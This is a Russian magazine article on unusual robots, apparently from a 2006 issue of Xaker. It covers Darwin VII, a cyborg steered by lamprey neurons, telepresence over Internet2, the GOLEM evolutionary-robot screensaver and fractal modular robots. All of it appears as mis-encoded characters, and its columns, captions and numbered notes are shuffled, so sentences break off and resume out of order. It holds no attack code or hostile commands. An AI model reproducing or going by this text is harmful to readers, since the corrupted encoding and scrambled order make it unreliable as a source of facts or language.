çîâàòü òî, ÷òî óæå åñòü ïîä ðóêîé? Íàïðèìåð, ïðèðîäíûå êîìïàñû è íàâèãàòîðû. Øèðîêî èçâåñòíû òàêèå òî÷íûå íàâèãàöèîííûå ïðèáîðû, êàê ÷åðåïàõè, ëåòó÷èå ìûøè, çìåè è ò.ä. Ïîëó÷àåòñÿ, ÷òî ñåãîäíÿ ëåã÷å «ïðèêðóòèòü» ê ðîáîòó ìîçã ÷åðåïàõè èëè ëåòó÷åé ìûøè è íà íèõ âîçëîæèòü íàâèãàöèîííûå îáÿçàííîñòè. Ïîêà íàóêà íå äîøëà äî ïîñòðîåíèÿ òàêèõ ñëîæíûõ êèáîðãîâ, íî åé åñòü ÷åì ïîõâàñòàòüñÿ.

Íî êòî ñêàæåò î òîì, ÷òî îáû÷íàÿ ñòèðàëüíàÿ ìàøèíà ìîæåò òîæå íàçûâàòüñÿ ðîáîòîì? Èëè ìèêðîâîëíîâêà? Òåì íå ìåíåå, ìíîãèå ó÷åíûå íàçûâàþò ðîáîòàìè ëþáûå ìåõàíèçìû, ñïîñîáíûå âûïîëíÿòü çàäàííûå ïðîãðàììû. È äàæå ñîçäàííûé íåäàâíî êóñî÷åê èç äâóõ öåïî÷åê ÄÍÊ, ñïîñîáíûé êîâûëÿòü ïî ïëîñêîé ïîâåðõíîñòè, ðàñïîëîæåííîé â ðàñòâîðå ìîëåêóë ÀÒÔ, — òîæå ðîáîò.

Îäíà èç âåòâåé ïîäðàæàíèÿ ïðèðîäå — ñîçäàíèå èñêóññòâåííûõ íåéðîíîâ è íåéðîñåòåé. Ïðè÷åì íåîáÿçàòåëüíî áðàòü ðåàëüíî ñóùåñòâóþùèå íåéðîíû èëè èõ âûðàùèâàòü — ïðîùå ñìîäåëèðîâàòü. Ìàòåìàòè÷åñêóþ ìîäåëü íåéðîíà ÷åëîâåêà ñîçäàëè åùå â êîíöå 60-õ ãîäîâ ïðîøëîãî âåêà. Êàçàëîñü áû, ñîáèðàé èõ â íåñêîëüêî ìèëëèàðäîâ íåéðîíîâ è ïîëó÷èøü äåéñòâóþùèé ìîçã. Îäíàêî íå òóò-òî áûëî: òîãäàøíèå âîçìîæíîñòè ïîçâîëÿëè ñìîäåëèðîâàòü ïðîñòåéøèå ëîãè÷åñêèå ÿ÷åéêè, ñîñòîÿùèå èç ïÿòèäåñÿòè íåéðîíîâ. È âñå. Íî òåïåðü êîìïüþòåðû ñòàëè ïîìîùíåå. È èì óæå ïîä ñèëó ñìîäåëèðîâàòü åñëè íå ìîçã ÷åëîâåêà, òî óëèòêè — íà âñå ñòî ïðîöåíòîâ.

 ýòîé ñòàòüå ÿ ðàññêàæó òåáå î ñàìûõ íåîáû÷íûõ ðîáîòàõ, êîòîðûå óæå ñóùåñòâóþò è áóäóò ñóùåñòâîâàòü. Òû ïîéìåøü, ÷òî ðîáîò — ýòî íå âñåãäà «ìîçãè». ÌÎÇà  ÊÎÐÎÁÎ×ÊÅ Çà÷åì ïðèäóìûâàòü ñëîæíûé èñêóññòâåííûé èíòåëëåêò äëÿ ñèñòåì íàâèãàöèè è ïåðåäâèæåíèÿ ðîáîòîâ, íå ëåã÷å ëè èñïîëü-

048

1. Îäèí èç òàêèõ ðîáîòîâ ñ âèðòóàëüíûì ìîçãîì — Darwin VII. Åãî ñîçäàëè àìåðèêàíñêèå èñ-

ñëåäîâàòåëè èç Íåéðîëîãè÷åñêîãî èíñòèòóòà â Ëà-Äæîëëå (Êàëèôîðíèÿ). Ñîñòîèò åãî âèðòóàëüíûé ìîçã èç äâàäöàòè òûñÿ÷ âèðòóàëüíûõ «íåéðîíîâ». Äåòèùå ó÷åíûõ ñîñòîèò íå òîëüêî èç îäíîãî âèðòóàëüíîãî ìîçãà: äëÿ ïåðåäâèæåíèÿ è êîíòàêòà ñ îêðóæàþùèì ìèðîì ó ðîáîòà åñòü áàçà, íà êîòîðîé çàêðåïëåíû ðóêà-ìàíèïóëÿòîð è óïðàâëÿþùèå ìåõàíèçìû. Ïðè ýòîì Darwin VII ñíàáæåí ïî÷òè ïîëíûì íàáîðîì «îðãàíîâ» ÷óâñòâ: ÏÇÑ-êàìåðà èãðàåò

Åñòåñòâåííî, ÷òî íà ýòîì ïðîãðåññ íå îñòàíîâèòñÿ, è âñêîðå óäàñòñÿ ñäåëàòü ÷òî-òî àíàëîãè÷íîå (ïî êîëè÷åñòâó íåéðîíîâ, åñòåñòâåííî) ãîëîâíîìó ìîçãó. Îïÿòü æäåì ïîâûøåíèÿ ïðîèçâîäèòåëüíîñòè êîìïîâ. Äðóãîå äåëî, êîãäà ìîæíî âûðàñòèòü íåðâíóþ òêàíü, ïðèñïîñîáèâ åå ïîä ñâîè íóæäû. Ïîêà, ïðàâäà, âûðàñòèòü ìîæíî íå âñå ïîäðÿä, à ïðîñòåéøèå íåðâíûå óçëû, ðåàãèðóþùèå íà îïðåäåëåííûå ðàçäðàæèòåëè.

DARWIN VII ÑÍÀÁÆÅÍ ÏÎ×ÒÈ ÏÎËÍÛÌ ÍÀÁÎÐÎÌ «ÎÐÃÀÍλ ×ÓÂÑÒ ðîëü ãëàç, íåñêîëüêî ìèêðîôîíîâ ïîçâîëÿþò âîñïðèíèìàòü çâóêè, à ñïåöèàëüíûå ñåíñîðû — ðàçëè÷àòü âêóñ. Ïî ðàçìåðàì è ôîðìå ðîáîò íàïîìèíàåò ìóñîðíûé áàê. Darwin VII äåéñòâóåò, ðóêîâîäñòâóÿñü «ïðèðîäíûìè öèôðîâûìè èíñòèíêòàìè». Îí ïðîÿâëÿåò èíòåðåñ êî âñåìó îêðóæàþùåìó è ñàìîîáó÷àåòñÿ. Íàïðèìåð, ïåðåäâèãàÿñü ïî ïîëó è èçó÷àÿ ðàçáðîñàííûå ïðåäìåòû, ðîáîò ñïîñîáåí ñàìîñòîÿòåëüíî îïðåäåëèòü, ÷òî ïîëîñàòûå îáðàçöû ïðèÿòíû íà âêóñ, à ïÿòíèñòûå — íå î÷åíü.

Âîò, íàïðèìåð, äâå êîìàíäû ó÷åíûõ èç Èëëèíîéñêîãî óíèâåðñèòåòà (×èêàãî) è Ãåíóýçñêîãî óíèâåðñèòåòà (Èòàëèÿ) ñîçäàëè êèáîðãà íà îñíîâå íåéðîíîâ ñïèííîãî ìîçãà ìèíîãè. Ïî÷åìó èìåííî ìèíîãè? Îòâåò ïðîñò: ó íåå íàèáîëüøèå ïî ðàçìåðàì íåéðîíû. Ìàøèíà ñîñòîèò èç íåñêîëüêèõ ÆÈÂÛÕ íåéðîíîâ, ôîòîñåíñîðà, ìèêðîïðîöåññîðà è êîëåñ.

2. Âñå, ÷òî ïîêà óìååò äåëàòü ýòîò êèáîðã, — äâèãàòüñÿ ê èñòî÷íèêó ñâåòà. Ïðîèñõîäèò ýòî ñëåäóþùèì îáðàçîì: ýëåêòðîí-

XÀÊÅÐ 02 /86/ 06


Òóò ìîæíî ñêà÷àòü ÃÎËÅÌà: http://demo.cs.brandeis.edu/golem/download/Golem245.zip Âèäåî âîïëîùåííîé â æåëåçå ðîáîòà ñòðåëêè è åå êîìïüþòåðíîé ìîäåëè: http://demo.cs.brandeis.edu/golem/creatures/arrow/arrow_real.mpg http://demo.cs.brandeis.edu/golem/creatures/arrow/arrow.mpg

íûé ãëàç îáíàðóæèâàåò èñòî÷íèê ñâåòà è ïåðåäàåò ñèãíàë â íåéðîíû ìèíîãè, òå, â ñâîþ î÷åðåäü, ïîñðåäñòâîì ìèêðîïðîöåññîðà óïðàâëÿþò êîëåñàìè äëÿ òîãî, ÷òîáû ê ýòîìó èñòî÷íèêó ñâåòà ïðèáëèçèòüñÿ. Ïðè ýòîì, åñëè âûêëþ÷èòü ñâåò, êèáîðã îñòàåòñÿ áåç äâèæåíèÿ, à åñëè îòêëþ÷èòü îäèí èç ñåíñîðîâ, òî ðûáà-ðîáîò ñíà÷àëà äåçîðèåíòèðóåòñÿ, ïîñëå ÷åãî âñå ðàâíî íàõîäèò èñòî÷íèê ñâåòà. «Êèáåðìîíñòð» ïîêà ñïîñîáåí ðåàãèðîâàòü òîëüêî íà ñâåò, íî óæå äåìîíñòðèðóåò êëàññè÷åñêèå â êèáåðíåòèêå ôîðìû ïîâåäåíèÿ: ñëåäóåò çà èñòî÷íèêîì ñâåòà, êðóæèò âîêðóã íåãî è ò. ä. Ïîçäðàâëÿåì òîâàðèùåé ó÷åíûõ! Èì óäàëîñüòàêè äîêàçàòü, ÷òî ìû è ìàøèíû åäèíû! Äî ïîëíîé ìàòðèöû îñòàëîñü ñîâñåì íåìíîãî. Ñïèíîé ìîçã áûë èçâëå÷åí èç ðûáû ïðè ïîëíîé àíåñòåçèè è ïîìåùåí â íàñûùåííûé êèñëîðîäîì ñîëåâîé ðàñòâîð.  êà÷å-

ïîñëå ýòîãî òðåáóþò çàìåíû, òàê ÷òî äëÿ äëèòåëüíîãî ôóíêöèîíèðîâàíèÿ êèáîðãó íóæåí áîëüøîé çàïàñ ìèíîã. Â áóäóùåì, âåðîÿòíî, ïðè ñîîòâåòñòâóþùåé òðåíèðîâêå êèáîðã ñìîæåò ïîïîëíÿòü ìîçãîâûå çàïàñû âïîëíå åñòåñòâåííûì ïóòåì: ðûáàëêîé, õîæäåíèåì ïî ñóïåðìàðêåòàì è ò.ï.

Êîðî÷å ãîâîðÿ: çà÷åì êóäà-òî èäòè èëè åõàòü, åñëè ìîæíî ïîñëàòü êîãî-òî (÷òî-òî) âìåñòî ñåáÿ? Ñ ðàçâèòèåì òåõíîëîãèé ýòîò òóíåÿäñêèé ïðèíöèï ïîñòîÿííî ñîâåðøåíñòâóåòñÿ. Ñíà÷àëà áûëî ðàäèî, çàòåì òåëåôîí, òåëåâèçîðû, à ïîòîì óæå Èíòåðíåò è ìîáèëüíûå òåëåôîíû.

4. Óäàëåííàÿ, äèñòàíöèîííî óïÐàçóìååòñÿ, íàéòè ïðèìåíåíèå ñâåòîëþáèâîìó êèáîðãó, ìÿãêî ãîâîðÿ, áóäåò íåëåãêî, òàê êàê âñå òî æå ñàìîå, òîëüêî ëó÷øå, ìîæåò äåëàòü óæå ñóùåñòâóþùàÿ ýëåêòðîíèêà. Íî âàæíî ñàìî åãî ñîçäàíèå (óðà, òîâàðèùè!). Ïî ñëîâàì ñîçäàòåëåé êèáîðãà, åãî óíèêàëüíîñòü ñîñòîèò â òîì, ÷òî ýòî äåéñòâóþùàÿ çàìêíóòàÿ ñèñòåìà, êîòîðàÿ ïðåäñòàâëÿåò ñîáîé øàã âïåðåä íà ïóòè íåéðîèíæåíåðèè. Ïîêà ÷òî äâèæåíèåì òåëà êèáîðãà óïðàâëÿåò íå âåñü ìîçã ìèíîãè, à ëèøü íåñêîëüêî åãî êëåòîê.

ðàâëÿåìàÿ ýêîíîìèêà áûëà âïåðâûå «èçîáðåòåíà» Ðîáåðòîì À. Õàéíëàéíîì â åãî ðîìàíå Waldos (Âàëüäî) â 1940 ãîäó. Ïåðâûå ïðîòîòèïû òåëåèíñòðóìåíòîâ, î êîòîðûõ øëà ðå÷ü â íàó÷íîé ôàíòàñòèêå, áûëè ñêîíñòðóèðîâàíû â 1947 ãîäó. Ïåðâûé äåéñòâóþùèé òåëåîïåðàòîð ñ îáðàòíîé ñâÿçüþ áûë ðàçðàáîòàí Ðýåì Ãåðöåì â 1954 ãîäó. Èäåÿ òåëåïðèñóòñòâèÿ áûëà âîçðîæäåíà Ìàðâèíîì Ìèíñêè â 1979 ãîäó. Ñåãîäíÿ íàñòóïèë ìîìåíò, êîãäà òåëåïðèñóòñòâèå ñ ïîìîùüþ ðîáîòîòåõíèêè äîëæíî ñòàòü ÷àñòüþ êàê âèðòóàëü-

Îãðîìíàÿ ïðîïóñêíàÿ ñïîñîáíîñòü ìàãèñòðàëåé Internet2 íå ìîãëà íå ïðèâëå÷ü èíòåðåñà ýíòóçèàñòîâ öèôðîâîãî âèäåî. Ñî÷åòàÿ øèðîêóþ ïîëîñó ïðîïóñêàíèÿ è òåõíîëîãèè ìóëüòèêàñòèíãà, â ðàìêàõ Internet2 ïîñòðîèëè íåñêîëüêî ñèñòåì ïåðåäà÷è öèôðîâîãî âèäåîïîòîêà, êîòîðûå ìîæíî èñïîëüçîâàòü ñ ñàìûìè ðàçíîîáðàçíûìè öåëÿìè. Íàïðèìåð, ïîëó÷àòü âèäåîäàííûå îò òåëåðîáîòà, ñâÿçàííîãî ñ òîáîé ÷åðåç øëåì âèðòóàëüíîé ðåàëüíîñòè. Òåáå èçâåñòíî î áîÿõ ðîáîòîâ? Èíòåðåñíàÿ çàáàâà. Åå äàëüíåéøåå è ëîãè÷íîå ïðîäîëæåíèå — òåëåáîè ñ ó÷àñòèåì ëþäåé â êà÷åñòâå ïèëîòîâ. Ïðè÷åì ýòî ìîæíî áóäåò ñäåëàòü ïî Ñåòè, çàïëàòèâ òîëüêî çà àðåíäó ðîáîòà è ó÷àñòèå â ñîñòÿçàíèè. À êîìïàíèÿ Nanotechnology News Network ãîòîâèò â íåäàëå-

ÒÀÊÈÌÈ ÒÅÌÏÀÌÈ ×ÅÐÅÇ ÍÅÑÊÎËÜÊÎ ËÅÒ ÒÛ ÍÅ ÑÌÎÆÅØÜ ÎÒËÈ×ÈÒÜ, ÊÒÎ ÑÅÃÎÄÍß ÂÛØÅË ÇÀ ÏÈÂÎÌ — ÒÛ ÈËÈ ÒÂÎÉ ÐÎÁÎÒ ñòâå ïîðòîâ ââîäà/âûâîäà èñïîëüçîâàëèñü êëåòêè Ìþëëåðà (íå íà÷àëüíèêà ÑÑ) ñ âíåäðåííûìè â íèõ ýëåêòðîäàìè. Ýòè êëåòêè äîñòàòî÷íî âåëèêè, óäîáíû äëÿ ïîäêëþ÷åíèÿ è ñëóæàò äëÿ èíòåãðàöèè ñèãíàëîâ óïðàâëåíèÿ è ñèãíàëîâ îò îðãàíîâ ÷óâñòâ, èäóùèõ ê ìîòîðíûì íåðâàì äëÿ îðèåíòàöèè ìèíîãè â ïðîñòðàíñòâå. Ýëåêòðîäû, èäóùèå îò ôîòîñåíñîðà, ñòèìóëèðîâàëè íåéðîíû íà ïðèâû÷íûõ äëÿ íèõ ÷àñòîòàõ, à ýëåêòðîäû, óïðàâëÿþùèå äâèæåíèåì, ñíèìàëè ïîòåíöèàë ñ àêñîíîâ êëåòîê. Ïðè ýòîì ìîçã êèáîðãà íå áûë óñòàíîâëåí íà ïîäâèæíîé ïëàòôîðìå, à ñîåäèíÿëñÿ ñ íåé ïðè ïîìîùè ïðîâîäà. À ïëàòôîðìà ïðåäñòàâëÿåò ñîáîé ïîïóëÿðíîãî ìíîãîôóíêöèîíàëüíîãî ðîáîòà Khepera. Ìîçã òîëüêî äàåò êîìàíäû, óïðàâëÿþùèå èì.

3. Îäíà èç ãëàâíûõ ïðîáëåì «ðûáû-òåðìèíàòîðà» — íåäîëãîâå÷íîñòü íåéðîíîâ ìèíîãè, êîòîðûå æèâóò â ñîëåâîì ðàñòâîðå ëèøü íåñêîëüêî äíåé è

XÀÊÅÐ 02 /86/ 06

Âïîñëåäñòâèè ýòî äîñòèæåíèå ìîæåò ïðèâåñòè, â ÷àñòíîñòè, ê ñîçäàíèþ áîëåå ñîâåðøåííûõ ïðîòåçîâ. Êðîìå òîãî, ñ ðàçâèòèåì ìèêðîýëåêòðîíèêè ðàçðàáîòàííóþ òåõíîëîãèþ ìîæíî áóäåò ïðèìåíèòü ïðàêòè÷åñêè êî âñåì æèâûì îðãàíèçìàì, ÷òî îòêðûâàåò áîëüøèå ïåðñïåêòèâû â íàøåé áóäóùåé æèçíè. ÐÎÁÎÒ — ÐÅÀËÈÒÈ ØÎÓ Ëþäè âñåãäà âûñîêî öåíèëè ëþáóþ äåÿòåëüíîñòü, êîòîðóþ ìîæíî áûëî îñóùåñòâëÿòü íà ðàññòîÿíèè. Íà÷èíàÿ ñ ïðèìèòèâíîãî «òåëåêèíåçà», êîòîðûé çàêëþ÷àëñÿ â òîì, ÷òîáû âûçûâàòü â äðóãîì ìåñòå ñîáûòèÿ ïîñðåäñòâîì áðîñàíèÿ êàìíåé èëè ïåíèÿ éîäëåì â ãîðàõ :) , è çàêàí÷èâàÿ ïîèñêîì æèçíè íà Ìàðñå ñ ïîìîùüþ ðîâåðîâ è çàíÿòèÿìè êèáåðñåêñîì íà ðàññòîÿíèè, ÷åëîâå÷åñòâî âñå ÷àùå ïðåäïî÷èòàåò ïðîâîäèòü âðåìÿ, ùåëêàÿ ïóëüòîì äèñòàíöèîííîãî óïðàâëåíèÿ òåëåâèçîðà èëè áîëòàÿ ïî ìîáèëüíîìó òåëåôîíó.

íîé, òàê è «ðåàëüíîé» ÷åëîâå÷åñêîé äåÿòåëüíîñòè. Äðóãèìè ñëîâàìè, èíîãäà òû íå õî÷åøü èäòè íà ôóòáîëüíûé ìàò÷, äàæå åñëè ëþáèøü ôóòáîë. Òû ëó÷øå ïîñìîòðèøü åãî ïî òåëåâèçîðó, îñîáåííî êîãäà âîçìîæíî èíòåðàêòèâíîå òåëåïðèñóòñòâèå è äèñòàíöèîííîå óïðàâëåíèå êàìåðàìè. Òû ïîëó÷àåøü áîëåå ÿñíóþ êàðòèíó èãðû, ìîæåøü ïðîñìîòðåòü ñòîëüêî ïîâòîðîâ, ñêîëüêî çàõî÷åøü, ñìîòðåòü êðóïíûå ïëàíû, ñëóøàòü ñîïðîâîäèòåëüíûå êîììåíòàðèè è ïðè ýòîì ïîòÿãèâàòü ñâîé äæèí ñ òîíèêîì.

5. Òû, íàâåðíîå, ñëûøàë î ðàçâèòèè ïðîåêòà Internet2. Ñåé÷àñ ìíîãèå ó÷åíûå ñ÷èòàþò èìåííî åãî îñíîâîé äëÿ «âèðòóàëüíîãî ìèðà òåëåïðèñóòñòâèÿ» áóäóùåãî áëàãîäàðÿ âîçìîæíîñòè ïåðåäàâàòü áîëüøèå ìàññèâû äàííûõ è òîìó, ÷òî ñ ýòèìè äàííûìè ìîãóò ðàáîòàòü îäíîâðåìåííî ìíîãî ïîëüçîâàòåëåé.

êîì áóäóùåì âûïóñê ïî Èíòåðíåòó ïðîãðàììû «Òåëåáîè ìèêðîðîáîòîâ»! Òåáå äàæå äàäóò âûáîð, ñ êåì ñðàæàòüñÿ: ñî çëîáíûìè æèâûìè íàñåêîìûìè èëè ñ òâîèìè äðóçüÿìè :). Íî ýòî åùå öâåòî÷êè. Ïðåäñòàâü ñåáå, ÷òî áóäåò, åñëè äàëüøå ðàçâèâàòü ìîçãîâûå èìïëàíòû è âçëàìûâàòü íåéðîêîäû? Òàêèìè òåìïàìè ÷åðåç íåñêîëüêî ëåò òû íå ñìîæåøü îòëè÷èòü, êòî ñåãîäíÿ âûøåë çà ïèâîì — òû èëè òâîé ðîáîò :). ÃÎËÅÌ È ÍÅÄÅÒÑÊÀß ÇÌÅÉÊÀ Íàïèñàíèå âèðóñîâ, êîòîðûå ìîãóò ýâîëþöèîíèðîâàòü íåçàâèñèìî îò ïðîãðàììåðà, — äàâ-

ÍÀÏÈÑÀÍÈÅ ÂÈÐÓÑÎÂ, ÊÎÒÎÐÛÅ ÌÎÃÓÒ ÝÂÎËÞÖÈÎÍÈÐÎÂÀÒÜ ÍÅÇÀÂÈÑÈÌÎ ÎÒ ÏÐÎÃÐÀÌÌÅÐÀ, — ÄÀÂÍÎ ÏÐÎÉÄÅÍÍÛÉ ÝÒÀÏ

049


ÈÌÏËÀÍÒ ///// ISSUE

Ñàéò ñîçäàòåëåé ÃÎËÅÌà: http://demo.cs.brandeis.edu/golem/ Ñàéò î íîâîñòÿõ ðîáîòàõ-ñàìîäåëêàõ: http://www.roboclub.ru Ñàéò î íîâîñòÿõ ìèêðî- è íàíîðîáîòîòåõíèêè: http://www.nanonewsnet.ru

íî ïðîéäåííûé ýòàï. Ìíîãèå ðîáîòîòåõíèêè íàïîëîâèíó ÿâëÿþòñÿ ïðîãðàììåðàìè, è çà÷àñòóþ îíè ðîáîòîâ íå ñîáèðàþò âæèâóþ, à ìîäåëèðóþò, ïîýòîìó ó íèõ ïîëó÷àåòñÿ èçîáðåòàòü ïîðîé èíòåðåñíûå âåùè, òàê êàê âñþ ðàáîòó çà íèõ âûïîëíÿåò êîìïüþòåð. Îäèí èç òàêèõ óìåëüöåâ — Õîä Ëèïñîí èç Êîðíåëëüñêîãî óíèâåðñèòåòà. Îäèí èç ñàìûõ ÿðêèõ åãî ïðèìåðîâ — ïðîåêò ÃÎËÅÌ (Golem — Genetically Organized Lifelike Electro Mechanics).

7. Äåëî ïðîñòîå: ïèøåì êîä ðîáîòà, êîòîðûé ñïîñîáåí ýâîëþöèîíèðîâàòü. Âñÿ ïðîãðàììà ýâîëþöèè ðîáîòà ïðåäñòàâëÿåò

ìåíò îí ðåøàåò îòðàñòèòü ñåáå îäíó èëè íåñêîëüêî äðóãèõ íîã, ïîìåíÿòü êîíñòðóêöèþ èëè èçìåíèòü ìîçã, ñîñòîÿùèé èç íåðâíûõ óçëîâ. Åñëè ðåçóëüòàòû åñòåñòâåííîöèôðîâîé ýâîëþöèè òåáÿ íå óñòðàèâàþò — ïîæàëóéñòà, ìîæåøü ñàì ïîâëèÿòü íà âûðàùèâàíèå ðîáîòà.  òâîåì ðàñïîðÿæåíèè íàõîäÿòñÿ: èçìåíåíèå ëàíäøàôòà, êîíñòðóêöèè è ìîçãè ïèòîìöà. Èçìåíÿòü ïîíà÷àëó èíòåðåñíî, òîëüêî ãîðàçäî èíòåðåñíåå çàáðîñèòü âñå íà íåäåëüêó-äðóãóþ è ïîñìîòðåòü ïîòîì, êàê èçìåíèòñÿ òâîé ïèòîìåö. Òî ëè îí îáðàñòåò ìîçãàìè è íåðâíûìè îêîí÷àíèÿìè, òî ëè ïðîñòî äî íåâîçìîæíîñòè óñ-

íîå êîëè÷åñòâî ìåñÿöåâ ó íèõ íàáåðåòñÿ äîñòàòî÷íîå êîëè÷åñòâî ìîäåëåé äëÿ ðàçëè÷íîãî ïðîìûøëåííîãî ïðèìåíåíèÿ: ïîëçàíèÿ è ëàçàíèÿ â òðóäíîäîñòóïíûõ ìåñòàõ èëè äàæå äëÿ äåñàíòèðîâàíèÿ â êà÷åñòâå ðàçâåä÷èêîâ íà ïëàíåòû íàøåé ñîëíå÷íîé ñèñòåìû.

8. Ëîãè÷íîå ðàçâèòèå ãîëåìíîé òåõíîëîãèè — ôðàêòàëüíûå è àäàïòèâíûå ðîáîòû. Ãîëåì, ñäåëàííûé èç æåëåçà, óæå íå ñìîæåò íàðàùèâàòü ñåáå ìîçãè èëè èçìåíÿòü ñâîþ êîíñòðóêöèþ, åñëè ïîñòàâëåííàÿ ïåðåä íèì çàäà÷à îêàæåòñÿ ñëèøêîì òðóäíîé. Ôðàêòàëüíûå ðîáîòû ñîñòîÿò èç

ñîâ ïåðåïðîãðàììèðîâàòü íà ïðîèçâîäñòâî äðóãîãî ïðîäóêòà, îðáèòàëüíûå ñòàíöèè ñ ïåðåäâèãàþùèìèñÿ îòñåêàìè è ñîëíå÷íûìè ïàíåëÿìè, ìåíÿþùèìè ôîðìó òàêèì îáðàçîì, ÷òîáû íà íèõ ïîïàäàëî êàê ìîæíî áîëüøå ñâåòà. Âîò áîëåå íàñóùíàÿ ïðîáëåìà — ðàáîòà â òåëå ÿäåðíûõ ðåàêòîðîâ èëè ïðè äåçàêòèâàöèè ×åðíîáûëüñêîé ÀÝÑ.

10. Òåïåðü ñäåëàåì êóáèêè çìåéêè ðàçìåðîì 1õ1õ1 ìèëëèìåòð. ×òî ïîëó÷èòñÿ? ×åðâÿê, êîòîðûé ïðîëåçåò â ëþáóþ âåíó è ðàñ÷èñòèò àòåðîñêëåðîòè÷åñêèå áëÿøêè. Èëè, ïîäêîïàâøèñü ïîä ðàêîâóþ

ÐÀÇ Â ÎÏÐÅÄÅËÅÍÍÎÅ ÊÎËÈ×ÅÑÒÂÎ ÂÐÅÌÅÍÈ ÑÀÌÛÅ ÏÐÎÄÂÈÍÓÒÛÅ ÌÎÄÅËÈ ÄÅËÀÞÒ ÂÐÓ×ÍÓÞ ÈÇ ÐÀÇÍÛÕ ÆÅËÅÇßÊ È ÝËÅÊÒÐÎÍÈÊÈ ñîáîé îáû÷íûé ñêðèíñåéâåð. Íà íåì âèäíî âñå ýâîëþöèîííûå øàãè è ñàì ïðîöåññ ðàçâèòèÿ ðîáîòà.  êà÷åñòâå ñòèìóëà äëÿ ýâîëþöèè âûáðàëè ïåðåìåùåíèå ïî ñëó÷àéíî ãåíåðèðóåìîé ìåñòíîñòè ñ ðàçíûìè íåðîâíîñòÿìè. Òî åñòü â èäåàëüíîì ñëó÷àå ðîáîò äîëæåí èçìåíèòü ñâîþ êîíñòðóêöèþ è ïðèñïîñîáèòüñÿ ê òîìó, ÷òîáû ïåðåëåçòü ÷åðåç áóãîðîê. Èëè êàê ìîæíî áûñòðåå äâèãàòüñÿ ïî ïðÿìîé. Ðîáîò íà÷èíàåò ñâîþ äåÿòåëüíîñòü ñ íóëÿ — òåáå äàåòñÿ ýäàêàÿ àìåáà, ó êîòîðîé íåò íè «ìîçãà», íè äàæå íåðâíûõ óçëîâ. Òîëüêî îäèí ñòåðæåíü ñ «íîãîé», êîòîðûé ïîñòîÿííî âèáðèðóåò, ïûòàÿñü äâèãàòüñÿ.  ïðîöåññå ýòèõ êîíâóëüñèé ðîáîò íà÷èíàåò ïîíèìàòü, êàê èìåííî íàäî äâèãàòü êîíå÷íîñòüþ, ÷òîáû êîâûëÿòü êàê ìîæíî ýôôåêòèâíåå. È òóò åãî ìîçãè, ïîêàçàííûå ñâåðõó ìîäåëè, íà÷èíàþò èçìåíÿòüñÿ: â íèõ äîáàâëÿþòñÿ íåðâíûå óçëû è ñëîæíûå ðàçâåòâëåíèÿ ëîãè÷åñêèõ àëãîðèòìîâ. ×åì äàëüøå, òåì ñëîæíåå ñòàíîâèòñÿ ðîáîò.  îäèí ïðåêðàñíûé ìî-

ëîæíèò êîíñòðóêöèþ, íî â ëþáîì ñëó÷àå âñåãäà èíòåðåñíî ïîñìîòðåòü íà êîíâóëüñèè öèôðîâîãî æèâîòíîãî, ïîäñîâûâàÿ ãîëåìó ãîðêè è âïàäèíû. Ïðè÷åì ñàìîå èíòåðåñíîå, ÷òî óñïåøíûå ìîäåëè (òå, êîòîðûå ëèõî ñêà÷óò ïî öèôðîâûì ðàâíèíàì è âçáèðàþòñÿ íà ãîðêè) çàòåì ïåðåâîäÿò â æåëåçî. Ñêðèíñåéâåð ïåðèîäè÷åñêè ñâÿçûâàåòñÿ ñ Èíòåðíåòîì è òàì îáíîâëÿåò áàçó äàííûõ ýâîëþöèîííûõ ìîíñòðîâ, ñîçäàííûõ äðóãèìè þçåðàìè, êîòîðûå òîæå ïîñòàâèëè ñåáå òàêîé ïðèêîëüíûé õðàíèòåëü ýêðàíà. È åñëè òâîé ðîáîò, âûñòðàäàííûé â äîëãèõ ýêñïåðèìåíòàõ ñ êîíñòðóêöèåé, ìîçãàìè è ëàíäøàôòîì ïîäàåò íàäåæäû, òî åãî ìîäåëü äîáàâëÿþò â ñóùåñòâóþùóþ áàçó. Ðàç â îïðåäåëåííîå êîëè÷åñòâî âðåìåíè ñàìûå ïðîäâèíóòûå ìîäåëè äåëàþò âðó÷íóþ èç ðàçíûõ æåëåçÿê è ýëåêòðîíèêè. Ðåçóëüòàòû ïîëó÷àþòñÿ äîâîëüíî èíòåðåñíûìè. Îðãàíèçàòîðû ïðîåêòà óâåðåíû, ÷òî ÷åðåç ýí-

ÊÀÆÄÛÉ ÊÓÁÈÊ ÍÀÄÅËÅÍ ÌÀËÎÉ ÒÎËÈÊÎÉ ÌÎÇÃÀ 050

îäèíàêîâûõ ìåõàíè÷åñêèõ çâåíüåâ, êîòîðûå, êîìáèíèðóÿñü ìåæäó ñîáîé, ïðèíèìàþò òàêóþ ôîðìó, ñ ïîìîùüþ êîòîðîé ïðîùå âñåãî ðåøèòü ïîñòàâëåííóþ ïåðåä íèìè çàäà÷ó. Ïðè ýòîì êàæäûé êóáèê íàäåëåí ìàëîé òîëèêîé ìîçãà, äîñòàòî÷íîé äëÿ òîãî, ÷òîáû îïðåäåëèòü òåêóùóþ ïîçèöèþ êóáèêà, à âìåñòå ýòè ÷àñòè ñîñòàâëÿþò èíòåëëåêò ðîáîòà. Ïîìíèøü, â ñòàðûå ñîâåòñêèå âðåìåíà ãîëîâîëîìêó «Çìåéêà»? Îíà ïðåäñòàâëÿåò ñîáîé äëèííóþ ãíóùóþñÿ ïëàñòèêîâóþ öåïî÷êó, êîòîðóþ ìîæíî áûëî ñãèáàòü êàê óãîäíî, ïðåâðàùàÿ òî â øàð, òî â ïèñòîëåò, òî â ìàêåò ðîáîòà. Ôðàêòàëüíûé ðîáîò íà íåå ÷åì-òî ïîõîæ. Îí òîæå ñîñòîèò èç òàêèõ óíèâåðñàëüíûõ êóáèêîâ è òîæå ìîæåò ïðèíèìàòü ðàçíûå ôîðìû.

9. Çà÷åì îæèâëÿòü ñòàðûé êîíñòðóêòîð? Äåëî â òîì, ÷òî ó æèâîé çìåéêè ìàññà ïîëåçíûõ è íåïîëåçíûõ ïðèìåíåíèé. Ïðåäñòàâü ñåáå áûñòðîñáîðíûå ìîñòû, ñîáðàííûå èç æèâûõ «êóáèêîâ» ðàçìåðàìè ìåòð íà ìåòð, êîòîðûå ïðè íåíàäîáíîñòè ìîæíî ïåðåñòðîèòü â àíãàð èëè æèëîé äîì. Ïðîèçâîäñòâåííûå ëèíèè, êîòîðûå ìîæíî çà íåñêîëüêî ÷à-

